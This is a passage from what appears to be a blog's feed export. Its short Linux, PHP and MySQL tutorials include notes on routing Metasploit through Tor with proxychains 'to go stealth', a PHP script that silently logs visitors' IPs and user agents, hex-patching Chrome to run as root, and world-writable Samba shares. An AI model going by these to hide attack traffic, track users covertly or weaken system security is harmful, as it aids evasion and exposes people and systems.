</entry> <entry>
<title>zcat and zx</title> 
<content type='html'>&lt;p&gt;if you what to write image files on a usb or cd you can use several tools:&lt;/p&gt;
&lt;p&gt;if the format of your file was .img.gz you can do&lt;/p&gt;
&lt;pre&gt;zcat myfile.img.gz &amp;gt; /dev/sdX&lt;/pre&gt;
&lt;p&gt;or .img.xz&lt;/p&gt;
&lt;pre&gt;xz -dkc myfile.img.xz &amp;gt; /dev/sdX&lt;/pre&gt;
</content>
<published>2018-02-28T00:08:00+00:00</published>
<updated>2018-02-28T00:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/125'/>
<id>https://wirelessarmy.theproject1.com/125</id>
<author><name>admin</name></author>
</entry> <entry>
<title>rebuild your boot loader</title> 
<content type='html'>&lt;p&gt;if you have install a boot loader but you want go back to normal boot loader(because you have install the kali linux on other hardware.)&lt;br&gt;
you can use easybcd, a good tool for windows &amp;nbsp;to rebuild the boot loader. but if the was an error can you can’t even get to the windows run your windows cd and select repair and find the command line then type bootrec and see the options.&lt;/p&gt;
&lt;pre&gt;bootrec /fixboot
bootrec scanos
bootrec rebuildbcd&lt;/pre&gt;
</content>
<published>2018-02-04T19:35:00+00:00</published>
<updated>2018-02-04T19:35:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/133'/>
<id>https://wirelessarmy.theproject1.com/133</id>
<author><name>admin</name></author>
</entry> <entry>
<title>connection to postgresql error</title> 
<content type='html'>&lt;p&gt;if you get this error or something simular when installing metasploit on kali this is what you need to do&lt;br&gt;
error:
&lt;/p&gt;&lt;pre&gt;Setting up metasploit (4.5.3-2013032701-1kali0) ...
psql: could not connect to server: No such file or directory
Is the server running locally and accepting
connections on Unix domain socket &quot;/var/run/postgresql/.s.PGSQL.5432&quot;?
Creating metasploit database user &#039;msf3&#039;...
createuser: could not connect to database postgres: could not connect to server: No such file or directory
Is the server running locally and accepting
connections on Unix domain socket &quot;/var/run/postgresql/.s.PGSQL.5432&quot;?
dpkg: error processing metasploit (--configure):
subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
metasploit
E: Sub-process /usr/bin/dpkg returned an error code (1)&lt;/pre&gt;
&lt;p&gt;solution:&lt;/p&gt;
&lt;pre&gt;gedit /etc/postgresql/9.1/main/postgresql.conf&lt;/pre&gt;
&lt;p&gt;and change the #listen_addresses = ‘localhost’&lt;br&gt;
and port = 5433 to&lt;br&gt;
listen_addresses = ‘localhost’&lt;br&gt;
and port to 5432&lt;br&gt;
then&lt;/p&gt;
&lt;pre&gt;service postgresql restart&lt;/pre&gt;
&lt;p&gt;apt-get remove metasploit &amp;amp;&amp;amp; apt-get autoclean&lt;br&gt;
apt-get install metasploit&lt;br&gt;
and it should work just fin.&lt;br&gt;
if any error put it in the comments below.&lt;/p&gt;
</content>
<published>2018-02-04T02:15:00+00:00</published>
<updated>2018-02-04T02:15:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/103'/>
<id>https://wirelessarmy.theproject1.com/103</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Install tor with apt-get</title> 
<content type='html'>f you want to go stealth with Metasploit or any other tool, then here’s how you do it.

First we are adding the torproject.org repostory to Kali Linux:&lt;br&gt;
&lt;pre&gt;echo &quot;deb  http://deb.torproject.org/torproject.org wheezy main&quot; &gt;&gt; /etc/apt/sources.list
gpg --keyserver keys.gnupg.net --recv 886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
apt-get update&lt;/pre&gt;
now intall it:
&lt;pre&gt;
apt-get install deb.torproject.org-keyring
apt-get install tor
apt-get install privoxy&lt;/pre&gt;
 now it&#039;s also installed as a service
&lt;pre&gt;service tor restart
service privoxy restart&lt;/pre&gt;
Now that we configured TOR and Privoxy we can go stealth with proxychains (this command is already installed in Kali Linux).
&lt;pre&gt;proxychains msfconsole
proxychains root@examplehost.com&lt;/pre&gt;
</content>
<published>2018-02-04T02:08:00+00:00</published>
<updated>2018-02-04T02:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/80'/>
<id>https://wirelessarmy.theproject1.com/80</id>
<author><name>admin</name></author>
</entry> <entry>
<title>kali custom iso</title> 
<content type='html'>&lt;p&gt;in this tutorial we will make a costom kali iso to write on any usb stick&lt;/p&gt;
&lt;p&gt;dependencies:&lt;/p&gt;
&lt;pre&gt;apt-get update &amp;amp;&amp;amp; apt-get install git live-build&amp;nbsp;cdebootstrap&lt;/pre&gt;
&lt;p&gt;options&lt;/p&gt;
&lt;pre&gt;./build.sh --variant {gnome,kde,xfce,e17,lxde,i3wm,light}
./build.sh --arch {i386,amd64,armel*,armhf*}&lt;br /&gt;./build.sh --distribution {moto,sana,kali-rolling}&lt;/pre&gt;
&lt;p&gt;example command:&lt;/p&gt;
&lt;pre&gt;./build.sh --distribution sana -variant kde -arch i386 --verbose&lt;/pre&gt;
&lt;p&gt;fist we will download the live build&lt;/p&gt;
&lt;pre&gt;git clone git://git.kali.org/live-build-config.git
cd live-build-config&lt;/pre&gt;
&lt;p&gt;edit (nano) &lt;strong&gt;kali-config/variant-light/package-lists/kali.list.chroot&lt;/strong&gt; and add all the packages that you want. we will install apache for sake of example&lt;/p&gt;
&lt;pre&gt;cryptsetup&lt;br /&gt;gparted&lt;br /&gt;apache2&lt;br /&gt;php5&lt;br /&gt;php5-gd&lt;br /&gt;php-db&lt;br /&gt;php5-mysql&lt;br /&gt;&lt;br /&gt;we will enable apache on boot&lt;/pre&gt;
&lt;pre&gt;echo &#039;update-rc.d -f apache2 enable&#039; &amp;gt;&amp;gt; kali-config/common/hooks/01-start-services.chroot&lt;br /&gt;chmod +x kali-config/common/hooks/01-start-services.chroot&lt;/pre&gt;
&lt;p&gt;make the device bootable:&lt;/p&gt;
&lt;pre&gt;nano kali-config/common/hooks/02-unattended.binary and past the following&lt;br /&gt;chmod +x kali-config/common/hooks/02-unattended.binary&lt;/pre&gt;
&lt;p&gt;to add an boot option:&lt;/p&gt;
&lt;pre&gt;#!/bin/sh&lt;br /&gt;cat &amp;gt;&amp;gt;binary/isolinux/install.cfg &amp;lt;&amp;lt;END&lt;br /&gt;label install&lt;br /&gt; menu lable ^Unattended Install&lt;br /&gt; menu default&lt;br /&gt; linux /install/vmlinuz&lt;br /&gt; initrd /install/initrd.gz&lt;br /&gt; appent vga 788 --quiet file=/chrom/install/pressed.cfg local=en_US keymap=us hostname=portable domain=portable.usb&lt;br /&gt;END&lt;/pre&gt;
&lt;p&gt;costom wallpaper&lt;/p&gt;
&lt;pre&gt;mkdir -p kali-config/common/includes.chroot/usr/share/images/desktop-base&lt;br /&gt;wget http://mysite.com/image.jpg -O kali-config/common/includes.chroot/usr/share/images/desktop-base/kali-wallpaper_1920x1080.png&lt;br /&gt;wget http://mysite.com/image.jpg&amp;nbsp;-O kali-config/common/includes.chroot/usr/share/images/desktop-base/kali-lockscreen_1920x1080.png&lt;/pre&gt;
&lt;p&gt;if you wanted to have an ssh key you can copy it there:&lt;/p&gt;
&lt;pre&gt;mkdir -p kali-config/common/includes.chroot/root/.ssh&lt;/pre&gt;
&lt;p&gt;if you wanted to have an unattended installer option&lt;/p&gt;
&lt;pre&gt;wget http://archive.kali.org/preseed.cfg -O kali-config/common/includes.installer/preseed.cfg&lt;/pre&gt;
&lt;pre&gt;./build.sh --variant light --distribution sana --arch i386 --verbose&lt;/pre&gt;</content>
<published>2018-02-04T02:01:00+00:00</published>
<updated>2018-02-04T02:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/196'/>
<id>https://wirelessarmy.theproject1.com/196</id>
<author><name>admin</name></author>
</entry> <entry>
<title>How to type symbols in a html file</title> 
<content type='html'>here is a list of most used symbols in html&lt;br&gt;
&lt;table&gt;
    &lt;tbody&gt;&lt;tr&gt;
      &lt;th&gt;Symbol&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
      &lt;th&gt;Entity Name&lt;/th&gt;
      &lt;th&gt;Number Code&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
       &lt;td&gt;&quot;&lt;/td&gt;
      &lt;td&gt;quotation mark&lt;/td&gt;
       &lt;td&gt;&amp;amp;quot;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#34;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&#039;&lt;/td&gt;
       &lt;td&gt;apostrophe&amp;nbsp;&lt;/td&gt;
      &lt;td&gt;&amp;amp;apos;&lt;/td&gt;
       &lt;td&gt;&amp;amp;#39;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&amp;amp;&lt;/td&gt;
      &lt;td&gt;ampersand&lt;/td&gt;
      &lt;td&gt;&amp;amp;amp;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#38;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&amp;lt;&lt;/td&gt;
      &lt;td&gt;less-than&lt;/td&gt;
      &lt;td&gt;&amp;amp;lt;&lt;/td&gt;
 
      &lt;td&gt;&amp;amp;#60;&lt;/td&gt;
    &lt;/tr&gt;
     &lt;tr&gt;
      &lt;td&gt;&amp;gt;&lt;/td&gt;
      &lt;td&gt;greater-than&lt;/td&gt;
      &lt;td&gt;&amp;amp;gt;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#62;&lt;/td&gt;
     &lt;/tr&gt;
      &lt;tr&gt;
      &lt;td&gt;©&lt;/td&gt;
      &lt;td&gt;copyright&lt;/td&gt;
      &lt;td&gt;&amp;amp;copy;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#169;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;¬&lt;/td&gt;
      &lt;td&gt;negation&lt;/td&gt;
      &lt;td&gt;&amp;amp;not;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#172;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;™&lt;/td&gt;
      &lt;td&gt;trademark&lt;/td&gt;
      &lt;td&gt;&amp;amp;trade;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#8482;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;°&lt;/td&gt;
      &lt;td&gt;degree&lt;/td&gt;
      &lt;td&gt;&amp;amp;deg;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#176;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
 
      &lt;td&gt;½&lt;/td&gt;
      &lt;td&gt;fraction 1/2&lt;/td&gt;
      &lt;td&gt;&amp;amp;frac12;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#189;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;¼&lt;/td&gt;
      &lt;td&gt;fraction 1/4&lt;/td&gt;
      &lt;td&gt;&amp;amp;frac14;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#188;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;¾&lt;/td&gt;
      &lt;td&gt;fraction 3/4&lt;/td&gt;
      &lt;td&gt;&amp;amp;frac34;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#190;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;×&lt;/td&gt;
      &lt;td&gt;multiplication&lt;/td&gt;
      &lt;td&gt;&amp;amp;times;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#215;&lt;/td&gt;
    &lt;/tr&gt;
&lt;tr&gt;
      &lt;td&gt;÷&lt;/td&gt;
      &lt;td&gt;division&lt;/td&gt;
      &lt;td&gt;&amp;amp;divide;&lt;/td&gt;
      &lt;td&gt;&amp;amp;#247;&lt;/td&gt;
    &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;</content>
<published>2018-01-07T06:12:00+00:00</published>
<updated>2018-01-07T06:12:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/26'/>
<id>https://wirelessarmy.theproject1.com/26</id>
<author><name>admin</name></author>
</entry> <entry>
<title>strip spaces from php string</title> 
<content type='html'>There are two ways to remove spaces from a string:
&lt;pre&gt;$string = str_replace(&#039; &#039;, &#039;&#039;, $string);&lt;/pre&gt;&lt;br&gt;
&lt;pre&gt;$string = preg_replace(&#039;/\s+/&#039;, &#039;&#039;, $string);&lt;/pre&gt;</content>
<published>2018-01-07T06:12:00+00:00</published>
<updated>2018-01-07T06:12:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/41'/>
<id>https://wirelessarmy.theproject1.com/41</id>
<author><name>admin</name></author>
</entry> <entry>
<title>tar</title> 
<content type='html'>&lt;p&gt;like on windows that we compress files with the format .zip , in linux the format will be .tar.gz&lt;br /&gt; so for uncompress it you need to&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;tar -zxvf  youfilename.tar.gz&lt;/pre&gt;
&lt;p&gt;or if it&amp;rsquo;s only .tar you can open it with:&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;tar -xvf  youfilename.tar&lt;/pre&gt;
&lt;p&gt;or if it&amp;rsquo;s compressed with tar.bz2 use:&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;tar -jxvf  youfilename.tar.bz2&lt;/pre&gt;
&lt;p&gt;it will give you a list of all files and folders that has been extracted and next time you go to that directory you will see 2 file. one that you already had with tar.gz and a new one that&amp;rsquo;s uncompressed.&lt;/p&gt;</content>
<published>2018-01-07T06:12:00+00:00</published>
<updated>2018-01-07T06:12:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/124'/>
<id>https://wirelessarmy.theproject1.com/124</id>
<author><name>admin</name></author>
</entry> <entry>
<title>smb server</title> 
<content type='html'>&lt;p&gt;installation&lt;/p&gt;
&lt;pre&gt;sudo apt-get install samba samba-common-bin&lt;/pre&gt;
&lt;p&gt;a folder to shar&lt;/p&gt;
&lt;pre&gt;mkdir myfolder&lt;br /&gt;chmod 777 myfolder&lt;/pre&gt;
&lt;p&gt;then we edit /etc/samba/smb.conf&lt;/p&gt;
&lt;pre&gt;workgroup = your_workgroup_name&lt;br /&gt;wins support = yes&lt;br /&gt;#for support of short cuts&lt;br /&gt; follow symlinks = yes&lt;br /&gt; wide links = yes&lt;br /&gt; unix extensions = no&lt;br /&gt;&lt;br /&gt;#for speed and compatibility optimization&lt;br /&gt;socket options = IPTOS_LOWDELAY TCP_NODELAY SO_RCVBUF=65536 SO_SNDBUF=65536 SO_KEEPALIVE&lt;br /&gt;# write cache size = 2097152 # 2MB - you should test some values it&#039;s pretty memory intesive&lt;br /&gt;use sendfile = yes&lt;br /&gt;lanman auth = no&lt;br /&gt;ntlm auth = yes&lt;br /&gt;client NTLMv2 = yes&lt;br /&gt;client lanman auth = no&lt;br /&gt;client plaintext = no&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;
&lt;pre&gt;[myfolder]&lt;br /&gt; comment= test&lt;br /&gt; path=/home/myfolder&lt;br /&gt; browseable=Yes&lt;br /&gt; writeable=Yes&lt;br /&gt; only guest=no&lt;br /&gt; create mask=0777&lt;br /&gt; directory mask=0777&lt;br /&gt; public=no&lt;/pre&gt;
&lt;p&gt;then:&lt;/p&gt;
&lt;pre&gt;smbpasswd -a username (it should a username on you system)&lt;br /&gt;service smbd restart&lt;br /&gt;service nmbd restart&lt;br /&gt;&lt;br /&gt;you can expect a top of 11 MB/s from a RP1 b and 20 to 25% more on RP2&lt;br /&gt;&lt;br /&gt;for a better understanding of the configs &lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;TCP_NODELAY&lt;/strong&gt; tells the server to send as many packets as necessary to keep delay low. This will account for a 30 percent speedup by itself. In Samba 2.0 socket options = TCP_NODELAY became the default value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IPTOS_LOWDELAY&lt;/strong&gt; is another option trading off throughput for lower delay, but which affects routers and other systems, not the server. All the IPTOS options are new; they&#039;re not supported by all operating systems and routers though. If they are supported, set IPTOS_LOWDELAY whenever you set TCP_NODELAY. This option gives us a minor speed up around 20%.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SO_SNDBUF and SO_RCVBUF&lt;/strong&gt; The send and receive buffers can often be the reset to a value higher than that of the operating system. This yields a marginal increase of speed until it reaches a point of diminishing returns. For a modern OpenBSD box serving shares to Windows xp/Vista or Linux machines a SO_SNDBUF and SO_RCVBUF of 65536 increased throughput by as much as 20% by itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SO_KEEPALIVE &lt;/strong&gt;initiates a periodic check every four(4) hours to see if the client is still there. This option eventually arranges to close dead connections, returning unused memory and process-table entries to the operating system. Using this option is conjunction with &quot;deadtime = 15&quot; to close idle connection as fast as your working environment will allow&lt;/p&gt;</content>
<published>2018-01-03T04:45:00+00:00</published>
<updated>2018-01-03T04:45:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/184'/>
<id>https://wirelessarmy.theproject1.com/184</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Chrome as root</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/ZICABMsuVtQ&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;to install google chrome on linux and run it as root(admin)&lt;br /&gt; is just to past the fallowing code in the command line and press enter after each line&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;apt-get install chromium-browser
cd /usr/lib/chromium-browser
hexedit chromium-browser&lt;/pre&gt;
&lt;p&gt;then press tab&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;control+s&lt;/pre&gt;
&lt;p&gt;find geteuid&lt;br /&gt; change it to get getppid&lt;br /&gt; control+x&lt;br /&gt; y&lt;br /&gt; &lt;strong&gt;or&lt;/strong&gt;&lt;br /&gt; if you have downloaded the chrome(not the chromium) form the site just do this:&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;apt-get install gedit
y
gedit /usr/bin/google-chrome
&lt;/pre&gt;
&lt;p&gt;a new page will open with some text in it now go to the last line that look like this&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;exec -a &quot;$0&quot; &quot;$HERE/chrome&quot;  &quot;$@&quot;&lt;/pre&gt;
&lt;p&gt;and add this:&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;--user-data-dir &lt;/pre&gt;
&lt;p&gt;so it should look like this&lt;/p&gt;
&lt;pre lang=&quot;text&quot;&gt;exec -a &quot;$0&quot; &quot;$HERE/chrome&quot;  &quot;$@&quot; --user-data-dir &lt;/pre&gt;
&lt;p&gt;save (control+s)&lt;br /&gt; now have fun using chrome!&lt;/p&gt;
&lt;h3&gt;every chrome update over write the /usr/bin/google-chrome so you need to redo it every time that you update the chrome&lt;/h3&gt;</content>
<published>2017-12-29T02:51:00+00:00</published>
<updated>2017-12-29T02:51:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/113'/>
<id>https://wirelessarmy.theproject1.com/113</id>
<author><name>admin</name></author>
</entry> <entry>
<title>add ssh users</title> 
<content type='html'>&lt;p&gt;We will begin by how to add a new user to your computer, after we will show how &amp;nbsp;to disable root login and use sudo instead. The reason being if something happend we can find out who has the last person who loged in.&lt;br /&gt;First Open your terminal, as root type the commands:&lt;/p&gt;
&lt;pre&gt;adduser mrx
passwd mrx
&lt;/pre&gt;
&lt;p&gt;After&amp;nbsp; add the&amp;nbsp; user&amp;nbsp; to the&amp;nbsp; sudo file, open up the /etc/sudoers file in your editor&lt;/p&gt;
&lt;pre&gt;nano&amp;nbsp;/etc/sudoers&lt;/pre&gt;
&lt;div&gt;and&amp;nbsp; add&amp;nbsp; the line of&amp;nbsp; the&amp;nbsp; user&amp;nbsp; under root line&lt;/div&gt;
&lt;pre&gt;## Allow root to run any commands anywhere&lt;br /&gt;root&amp;nbsp;&amp;nbsp;&amp;nbsp; ALL=(ALL)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ALL&lt;br /&gt;mrx&amp;nbsp; ALL=(ALL)&amp;nbsp; ALL
&lt;/pre&gt;
&lt;pre&gt;nano /etc/ssh/sshd_config&lt;/pre&gt;
&lt;pre&gt;#diableing login ass root
#PermitRootLogin yes
PermitRootLogin no&lt;/pre&gt;
&lt;p&gt;restart your sshd:&lt;/p&gt;
&lt;pre&gt;service&amp;nbsp; sshd&amp;nbsp; restart&lt;/pre&gt;
&lt;p&gt;if you want to know how to setup the ssh server for the first time or how to use public, private keys go &lt;a href=&quot;61&quot;&gt;here&lt;/a&gt;&lt;/p&gt;</content>
<published>2017-12-29T02:51:00+00:00</published>
<updated>2017-12-29T02:51:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/151'/>
<id>https://wirelessarmy.theproject1.com/151</id>
<author><name>admin</name></author>
</entry> <entry>
<title>empty comment on facebook</title> 
<content type='html'>&lt;div class=&quot;entry&quot;&gt;
&lt;p&gt;how to have a empty message on facebook&lt;/p&gt;
&lt;p&gt;just copy and past this line&lt;/p&gt;
&lt;pre&gt;@[0:0: ]&lt;/pre&gt;
</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/14'/>
<id>https://wirelessarmy.theproject1.com/14</id>
<author><name>admin</name></author>
</entry> <entry>
<title>MySQL useful queries</title> 
<content type='html'>&lt;p&gt;to set a password:&lt;/p&gt;
&lt;pre&gt;SET PASSWORD FOR &#039;user-name-here&#039;@&#039;hostname-name-here&#039; = PASSWORD(&#039;new-password-here&#039;);&lt;/pre&gt;

&lt;p&gt;view databases and tables&lt;/p&gt;
&lt;pre&gt;SHOW  DATABESES;
SHOW TABLES FROM mydatabes;&lt;/pre&gt;
&lt;p&gt;view the fist column with detail&lt;br&gt;
ex: id | int(128)&lt;br&gt;
name | varchar(255)&lt;/p&gt;
&lt;pre&gt;SHOW columns FROM mytable;&lt;/pre&gt;

&lt;p&gt;view all the data in a table&lt;/p&gt;
&lt;pre&gt;SELECT * FROM mytable;
* = everything&lt;/pre&gt;
&lt;p&gt;view only 1 row&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable; or
SELECT mytable.name FROM mytable;&lt;/pre&gt;
&lt;p&gt;view multiple rows&lt;/p&gt;
&lt;pre&gt;SELECT name, age FROM mytable;&lt;/pre&gt;
&lt;p&gt;remove duplicates (useful for ex:getting a list of all the cities that customers live)&lt;/p&gt;
&lt;pre&gt;SELECT DISTINCT city FROM mytable; &lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;limit&lt;/strong&gt;&lt;br&gt;
only first 5&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable LIMIT 5;&lt;/pre&gt;
&lt;p&gt;only 6 to 15&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable LIMIT 5, 10;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;order&lt;/strong&gt;&lt;br&gt;
to order by a to z&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable ORDER BY name;&lt;/pre&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable ORDER BY id ASC;&lt;/pre&gt;
&lt;p&gt;to order by id&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable ORDER BY id;&lt;/pre&gt;
&lt;p&gt;reverse order (z to a)&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable ORDER BY name DESC;&lt;/pre&gt;
&lt;p&gt;last person registered&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable ORDER BY id DESC LIMIT 1;
&lt;/pre&gt;
&lt;p&gt;find by id&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable WHERE id=4;&lt;/pre&gt;
&lt;p&gt;every one but not the number 4&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable WHERE id != 4;&lt;/pre&gt;
&lt;p&gt;every one before number 4&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable WHERE id &amp;lt; 4;&lt;/pre&gt;
&lt;p&gt;every one before number 4 and number 4&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable WHERE id &amp;lt;= 4;&lt;/pre&gt;
&lt;p&gt;evry one between 4 and 8 (45678)&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable WHERE id  BETWEEN 4 AND 8;&lt;/pre&gt;
&lt;p&gt;filter by city, state or country&lt;/p&gt;
&lt;pre&gt;SELECT name FROM mytable WHERE state = &#039;CA&#039;;&lt;/pre&gt;
&lt;p&gt;and more filters like this to it with an AND&lt;/p&gt;
&lt;pre&gt;SELECT name, state, city FROM mytable WHERE state = &#039;CA&#039; AND city=&#039;street a&#039;;&lt;/pre&gt;
&lt;p&gt;if you want to and more than 1 filter but you don&#039;t want to type state or city again and again&lt;/p&gt;
&lt;p&gt;SELECT name FROM mytable WHERE state IN (&quot;CA&quot;,&quot;NC&quot;,&quot;NY&quot;) ORDER BY state, name&lt;br&gt;
the reverse of this. every thing not in all above&lt;br&gt;
 SELECT name, state FROM mytable WHERE state NOT IN (&quot;CA&quot;,&quot;NC&quot;,&quot;NY&quot;) ORDER BY state, name&lt;/p&gt;
</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/29'/>
<id>https://wirelessarmy.theproject1.com/29</id>
<author><name>admin</name></author>
</entry> <entry>
<title>addslashes</title> 
<content type='html'>&lt;p&gt;if you are changing your domain or ip address, you want to make sure people who don&#039;t know about the change still be able to access your site so you can create a index.php and with using the fallowing code it will automatically redirect to the new address.&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
   header( &#039;Location: http://www.wirelessarmy.com&#039;);
?&amp;gt;&lt;/pre&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/32'/>
<id>https://wirelessarmy.theproject1.com/32</id>
<author><name>admin</name></author>
</entry> <entry>
<title>log your viewers ip address</title> 
<content type='html'>&lt;p&gt;here is the code:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
$dt = date(&quot;l dS \of F Y h:i:s A&quot;);
$file=&quot;iplog.txt&quot;;
$f=fopen($file,&#039;a&#039;);
fwrite($f,&quot;-------------------------&quot;.&quot;\n&quot;);
fwrite($f,&quot;IP Address:&quot;.$_SERVER[&#039;REMOTE_ADDR&#039;].&quot;\n&quot;);
fwrite($f, $dt.&quot;\n&quot;);
fwrite($f,&quot;User Agemt:&quot;.$_SERVER[&#039;HTTP_USER_AGENT&#039;].&quot;\n&quot;);
fwrite($f,&quot;Host Name:&quot;.php_uname(&#039;n&#039;).&quot;\n&quot;);
fwrite($f,&quot;Operating System:&quot;.php_uname(&#039;v&#039;).&quot;(&quot;.php_uname(&#039;s&#039;).&quot;)&quot;.&quot;\n&quot;);
fclose($f);
header(&quot;Location: http://wirelessarmy.com&quot;);
?&amp;gt;&lt;/pre&gt;
&lt;p&gt;and this a a out put example:&lt;/p&gt;
&lt;p&gt;IP Address:127.0.0.1&lt;br /&gt; Monday 16rd of April 2013 05:00:00 PM&lt;br /&gt; User Agemt:IIS Application Initialization Preload&lt;br /&gt; Host Name:SOROUSH-LAP&lt;br /&gt; Operating System:build 9200 (Unknown Windows version Business Edition)(Windows NT)&lt;br /&gt; &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-&lt;/p&gt;</content>
<published>2017-12-24T13:01:00+00:00</published>
<updated>2017-12-24T13:01:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/36'/>
<id>https://wirelessarmy.theproject1.com/36</id>
<author><name>admin</name></author>
</entry> <entry>
<title>RSS Feed Reader</title> 
<content type='html'>&lt;p&gt;here is a quick code that you can stick any wordpress url to it to get an rss feed of it. Then just add your website style/ header / footer to it to make it pretty.&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
$rss = new DOMDocument();
$rss-&amp;gt;load(&#039;http://feeds.feedburner.com/WirelessArmy&#039;);
$feed = array();
foreach ($rss-&amp;gt;getElementsByTagName(&#039;item&#039;) as $node) {
$item = array (
&#039;title&#039; =&amp;gt; $node-&amp;gt;getElementsByTagName(&#039;title&#039;)-&amp;gt;item(0)-&amp;gt;nodeValue,
&#039;desc&#039; =&amp;gt; $node-&amp;gt;getElementsByTagName(&#039;description&#039;)-&amp;gt;item(0)-&amp;gt;nodeValue,
&#039;link&#039; =&amp;gt; $node-&amp;gt;getElementsByTagName(&#039;link&#039;)-&amp;gt;item(0)-&amp;gt;nodeValue,
&#039;date&#039; =&amp;gt; $node-&amp;gt;getElementsByTagName(&#039;pubDate&#039;)-&amp;gt;item(0)-&amp;gt;nodeValue,
);
array_push($feed, $item);
}
$limit = 5;
for($x=0;$x&amp;lt;$limit;$x++) {
$title = str_replace(&#039; &amp;amp; &#039;, &#039; &amp;amp;amp; &#039;, $feed[$x][&#039;title&#039;]);
$link = $feed[$x][&#039;link&#039;];
$description = $feed[$x][&#039;desc&#039;];
$date = date(&#039;l F d, Y&#039;, strtotime($feed[$x][&#039;date&#039;]));
